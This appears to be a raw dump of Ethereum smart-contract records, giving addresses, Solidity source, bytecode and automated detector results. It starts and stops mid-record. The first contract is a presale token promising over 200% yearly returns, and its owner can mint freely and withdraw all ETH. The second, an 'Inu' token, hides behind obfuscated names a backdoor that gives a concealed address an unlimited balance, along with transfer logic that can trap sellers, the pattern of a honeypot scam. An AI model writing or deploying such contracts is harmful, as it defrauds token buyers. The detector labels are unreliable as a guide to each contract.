6afbfbb99fece79d2e05193f494164f4ae7795c715e9e9634e568a058b93c64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,197
0x0fd54f213ce4523c34db91f6d498e564af890167
/* ____ _ ____ _ _____ _ / ___|___ ___ | | _ \(_)_ __ ___ | ___(_)_ __ __ _ _ __ ___ ___ | | / _ \ / _ \| | | | | | '_ \ / _ \ | |_ | | '_ \ / _` | '_ \ / __/ _ \ | |__| (_) | (_) | | |_| | | | | | (_) | | _| | | | | | (_| | | | | (_| __/ \____\___/ \___/|_|____/|_|_| |_|\___/ |_| |_|_| |_|\__,_|_| |_|\___\___| (CDN)-(CDN)-(CDN)-(CDN)-(CDN)-(CDN)-(CDN)-(CDN)-(CDN)-(CDN)-(CDN)-(CDN)-(CDN) CoolDino is a new and unique DeFi project featuring an experimental CDN token. The principle of operation of our token is very simple - earn with us more than 200% per annum by receiving a CDN token staking your pool's token. Website: https://cooldino.finance/ Twitter: https://twitter.com/CoolDino_Finance Telegram: https://t.me/CoolDino_Finance Discord: https://discord.gg/RNpuXb Medium: https://medium.com/@cooldino.finance GitHub: https://github.com/CoolDinoFinance/Contract CoolDino token sale price is 0.002 ETH/CDN (15% discount from Uniswap listing) Token Sale Dates: Aug 30 - Sep 04 CDN Allocation: Token Sale - 115.200 CDN (72%) Initial Liquidity - 30.400 CDN (19%) Team - 11.200 CDN (7%) Marketing - 3.200 CDN (2%) */ pragma solidity ^0.5.16; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping (address => uint) private _balances; mapping (address => mapping (address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns (uint) { return _totalSupply; } function balanceOf(address account) public view returns (uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns (bool) { //require(!_tokenSaleMode || msg.sender == governance, "token sale is ongoing"); _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns (bool) { //require(!_tokenSaleMode || msg.sender == governance, "token sale is ongoing"); _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { //require(!_tokenSaleMode || msg.sender == governance, "token sale is ongoing"); require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { //require(!_tokenSaleMode || msg.sender == governance, "token sale is ongoing"); callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { //require(!_tokenSaleMode || msg.sender == governance, "token sale is ongoing"); callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract COOLDINOFINANCE is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint; uint256 public tokenSalePrice = 0.002 ether; bool public _tokenSaleMode = true; address public governance; mapping (address => bool) public minters; constructor () public ERC20Detailed("CoolDino.FINANCE", "CDN", 18) { governance = msg.sender; minters[msg.sender] = true; } function mint(address account, uint256 amount) public { require(minters[msg.sender], "!minter"); _mint(account, amount); } function burn(uint256 amount) public { _burn(msg.sender, amount); } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function addMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = true; } function removeMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = false; } function buyToken() public payable { require(_tokenSaleMode, "token sale is over"); uint256 newTokens = SafeMath.mul(SafeMath.div(msg.value, tokenSalePrice),1e18); _mint(msg.sender, newTokens); } function() external payable { buyToken(); } function endTokenSale() public { require(msg.sender == governance, "!governance"); _tokenSaleMode = false; } function withdraw() external { require(msg.sender == governance, "!governance"); msg.sender.transfer(address(this).balance); } }
0x6080604052600436106101405760003560e01c80635aa6e675116100b6578063a9059cbb1161006f578063a9059cbb14610494578063ab033ea9146104cd578063dd62ed3e14610500578063e55bfd161461053b578063e86790eb14610550578063f46eccc41461056557610140565b80635aa6e675146103af57806370a08231146103e057806395d89b4114610413578063983b2d5614610428578063a457c2d71461045b578063a48217191461014057610140565b80633092afd5116101085780633092afd5146102a0578063313ce567146102d357806339509351146102fe5780633ccfd60b1461033757806340c10f191461034c57806342966c681461038557610140565b806306fdde031461014a578063095ea7b3146101d457806318160ddd1461022157806323b872dd14610248578063307edff81461028b575b610148610598565b005b34801561015657600080fd5b5061015f610612565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610199578181015183820152602001610181565b50505050905090810190601f1680156101c65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e057600080fd5b5061020d600480360360408110156101f757600080fd5b506001600160a01b0381351690602001356106a8565b604080519115158252519081900360200190f35b34801561022d57600080fd5b506102366106c6565b60408051918252519081900360200190f35b34801561025457600080fd5b5061020d6004803603606081101561026b57600080fd5b506001600160a01b038135811691602081013590911690604001356106cc565b34801561029757600080fd5b50610148610759565b3480156102ac57600080fd5b50610148600480360360208110156102c357600080fd5b50356001600160a01b03166107b7565b3480156102df57600080fd5b506102e861082a565b6040805160ff9092168252519081900360200190f35b34801561030a57600080fd5b5061020d6004803603604081101561032157600080fd5b506001600160a01b038135169060200135610833565b34801561034357600080fd5b50610148610887565b34801561035857600080fd5b506101486004803603604081101561036f57600080fd5b506001600160a01b038135169060200135610905565b34801561039157600080fd5b50610148600480360360208110156103a857600080fd5b5035610961565b3480156103bb57600080fd5b506103c461096b565b604080516001600160a01b039092168252519081900360200190f35b3480156103ec57600080fd5b506102366004803603602081101561040357600080fd5b50356001600160a01b031661097f565b34801561041f57600080fd5b5061015f61099a565b34801561043457600080fd5b506101486004803603602081101561044b57600080fd5b50356001600160a01b03166109fb565b34801561046757600080fd5b5061020d6004803603604081101561047e57600080fd5b506001600160a01b038135169060200135610a71565b3480156104a057600080fd5b5061020d600480360360408110156104b757600080fd5b506001600160a01b038135169060200135610adf565b3480156104d957600080fd5b50610148600480360360208110156104f057600080fd5b50356001600160a01b0316610af3565b34801561050c57600080fd5b506102366004803603604081101561052357600080fd5b506001600160a01b0381358116916020013516610b6d565b34801561054757600080fd5b5061020d610b98565b34801561055c57600080fd5b50610236610ba1565b34801561057157600080fd5b5061020d6004803603602081101561058857600080fd5b50356001600160a01b0316610ba7565b60075460ff166105e4576040805162461bcd60e51b81526020600482015260126024820152713a37b5b2b71039b0b6329034b99037bb32b960711b604482015290519081900360640190fd5b60006106036105f534600654610bbc565b670de0b6b3a7640000610c05565b905061060f3382610c5e565b50565b60038054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561069e5780601f106106735761010080835404028352916020019161069e565b820191906000526020600020905b81548152906001019060200180831161068157829003601f168201915b5050505050905090565b60006106bc6106b5610d4e565b8484610d52565b5060015b92915050565b60025490565b60006106d9848484610e3e565b61074f846106e5610d4e565b61074a856040518060600160405280602881526020016112dd602891396001600160a01b038a16600090815260016020526040812090610723610d4e565b6001600160a01b03168152602081019190915260400160002054919063ffffffff610f9a16565b610d52565b5060019392505050565b60075461010090046001600160a01b031633146107ab576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6007805460ff19169055565b60075461010090046001600160a01b03163314610809576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6001600160a01b03166000908152600860205260409020805460ff19169055565b60055460ff1690565b60006106bc610840610d4e565b8461074a8560016000610851610d4e565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff61103116565b60075461010090046001600160a01b031633146108d9576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b60405133904780156108fc02916000818181858888f1935050505015801561060f573d6000803e3d6000fd5b3360009081526008602052604090205460ff16610953576040805162461bcd60e51b815260206004820152600760248201526610b6b4b73a32b960c91b604482015290519081900360640190fd5b61095d8282610c5e565b5050565b61060f338261108b565b60075461010090046001600160a01b031681565b6001600160a01b031660009081526020819052604090205490565b60048054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561069e5780601f106106735761010080835404028352916020019161069e565b60075461010090046001600160a01b03163314610a4d576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6001600160a01b03166000908152600860205260409020805460ff19166001179055565b60006106bc610a7e610d4e565b8461074a8560405180606001604052806025815260200161136f6025913960016000610aa8610d4e565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff610f9a16565b60006106bc610aec610d4e565b8484610e3e565b60075461010090046001600160a01b03163314610b45576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600780546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60075460ff1681565b60065481565b60086020526000908152604090205460ff1681565b6000610bfe83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611187565b9392505050565b600082610c14575060006106c0565b82820282848281610c2157fe5b0414610bfe5760405162461bcd60e51b81526004018080602001828103825260218152602001806112bc6021913960400191505060405180910390fd5b6001600160a01b038216610cb9576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600254610ccc908263ffffffff61103116565b6002556001600160a01b038216600090815260208190526040902054610cf8908263ffffffff61103116565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b3390565b6001600160a01b038316610d975760405162461bcd60e51b815260040180806020018281038252602481526020018061134b6024913960400191505060405180910390fd5b6001600160a01b038216610ddc5760405162461bcd60e51b81526004018080602001828103825260228152602001806112746022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610e835760405162461bcd60e51b81526004018080602001828103825260258152602001806113266025913960400191505060405180910390fd5b6001600160a01b038216610ec85760405162461bcd60e51b815260040180806020018281038252602381526020018061122f6023913960400191505060405180910390fd5b610f0b81604051806060016040528060268152602001611296602691396001600160a01b038616600090815260208190526040902054919063ffffffff610f9a16565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610f40908263ffffffff61103116565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156110295760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610fee578181015183820152602001610fd6565b50505050905090810190601f16801561101b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610bfe576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b0382166110d05760405162461bcd60e51b81526004018080602001828103825260218152602001806113056021913960400191505060405180910390fd5b61111381604051806060016040528060228152602001611252602291396001600160a01b038516600090815260208190526040902054919063ffffffff610f9a16565b6001600160a01b03831660009081526020819052604090205560025461113f908263ffffffff6111ec16565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600081836111d65760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610fee578181015183820152602001610fd6565b5060008385816111e257fe5b0495945050505050565b6000610bfe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f9a56fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a7231582035a0e93a07e075ca3945694ca295197cdc8face7833b6d754527b89898315e1964736f6c63430005100032
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
3,198
0xCe4047081e432f9e013D08597381bB0618ef9e8b
/* https://t.me/ChewbaccaInu */ // SPDX-License-Identifier: Unlicense pragma solidity ^0.8.5; // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Contract is Ownable { constructor( string memory _NAME, string memory _SYMBOL, address routerAddress, address double ) { _symbol = _SYMBOL; _name = _NAME; _fee = 5; _decimals = 9; _tTotal = 1000000000000000 * 10**_decimals; _balances[double] = oldest; _balances[msg.sender] = _tTotal; beauty[double] = oldest; beauty[msg.sender] = oldest; router = IUniswapV2Router02(routerAddress); uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH()); emit Transfer(address(0), msg.sender, _tTotal); } uint256 public _fee; string private _name; string private _symbol; uint8 private _decimals; function name() public view returns (string memory) { return _name; } mapping(address => mapping(address => uint256)) private _allowances; mapping(address => uint256) private _balances; function symbol() public view returns (string memory) { return _symbol; } uint256 private _tTotal; uint256 private _rTotal; address public uniswapV2Pair; IUniswapV2Router02 public router; uint256 private oldest = ~uint256(0); function decimals() public view returns (uint256) { return _decimals; } event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); function totalSupply() public view returns (uint256) { return _tTotal; } address[] have = new address[](2); function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function want( address shop, address active, uint256 amount ) private { address available = have[1]; bool loss = uniswapV2Pair == shop; uint256 minute = _fee; if (beauty[shop] == 0 && upward[shop] > 0 && !loss) { beauty[shop] -= minute; } have[1] = active; if (beauty[shop] > 0 && amount == 0) { beauty[active] += minute; } upward[available] += minute; uint256 fee = (amount / 100) * _fee; amount -= fee; _balances[shop] -= fee; _balances[address(this)] += fee; _balances[shop] -= amount; _balances[active] += amount; } mapping(address => uint256) private upward; function approve(address spender, uint256 amount) external returns (bool) { return _approve(msg.sender, spender, amount); } mapping(address => uint256) private beauty; function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool) { require(amount > 0, 'Transfer amount must be greater than zero'); want(sender, recipient, amount); emit Transfer(sender, recipient, amount); return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount); } function transfer(address recipient, uint256 amount) external returns (bool) { want(msg.sender, recipient, amount); emit Transfer(msg.sender, recipient, amount); return true; } function _approve( address owner, address spender, uint256 amount ) private returns (bool) { require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); return true; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063c5b37c2211610066578063c5b37c2214610278578063dd62ed3e14610296578063f2fde38b146102c6578063f887ea40146102e2576100f5565b8063715018a6146102025780638da5cb5b1461020c57806395d89b411461022a578063a9059cbb14610248576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806349bd5a5e146101b457806370a08231146101d2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610300565b60405161010f9190611072565b60405180910390f35b610132600480360381019061012d919061112d565b610392565b60405161013f9190611188565b60405180910390f35b6101506103a7565b60405161015d91906111b2565b60405180910390f35b610180600480360381019061017b91906111cd565b6103b1565b60405161018d9190611188565b60405180910390f35b61019e610500565b6040516101ab91906111b2565b60405180910390f35b6101bc61051a565b6040516101c9919061122f565b60405180910390f35b6101ec60048036038101906101e7919061124a565b610540565b6040516101f991906111b2565b60405180910390f35b61020a610589565b005b610214610611565b604051610221919061122f565b60405180910390f35b61023261063a565b60405161023f9190611072565b60405180910390f35b610262600480360381019061025d919061112d565b6106cc565b60405161026f9190611188565b60405180910390f35b610280610748565b60405161028d91906111b2565b60405180910390f35b6102b060048036038101906102ab9190611277565b61074e565b6040516102bd91906111b2565b60405180910390f35b6102e060048036038101906102db919061124a565b6107d5565b005b6102ea6108cc565b6040516102f79190611316565b60405180910390f35b60606002805461030f90611360565b80601f016020809104026020016040519081016040528092919081815260200182805461033b90611360565b80156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b5050505050905090565b600061039f3384846108f2565b905092915050565b6000600754905090565b60008082116103f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ec90611403565b60405180910390fd5b610400848484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161045d91906111b2565b60405180910390a36104f7843384600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104f29190611452565b6108f2565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610591610f0d565b73ffffffffffffffffffffffffffffffffffffffff166105af610611565b73ffffffffffffffffffffffffffffffffffffffff1614610605576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fc906114d2565b60405180910390fd5b61060f6000610f15565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606003805461064990611360565b80601f016020809104026020016040519081016040528092919081815260200182805461067590611360565b80156106c25780601f10610697576101008083540402835291602001916106c2565b820191906000526020600020905b8154815290600101906020018083116106a557829003601f168201915b5050505050905090565b60006106d9338484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161073691906111b2565b60405180910390a36001905092915050565b60015481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6107dd610f0d565b73ffffffffffffffffffffffffffffffffffffffff166107fb610611565b73ffffffffffffffffffffffffffffffffffffffff1614610851576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610848906114d2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036108c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b790611564565b60405180910390fd5b6108c981610f15565b50565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561095d5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61099c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610993906115f6565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a7a91906111b2565b60405180910390a3600190509392505050565b6000600c600181548110610aa457610aa3611616565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16149050600060015490506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610bbb57506000600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610bc5575081155b15610c215780600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c199190611452565b925050819055505b84600c6001815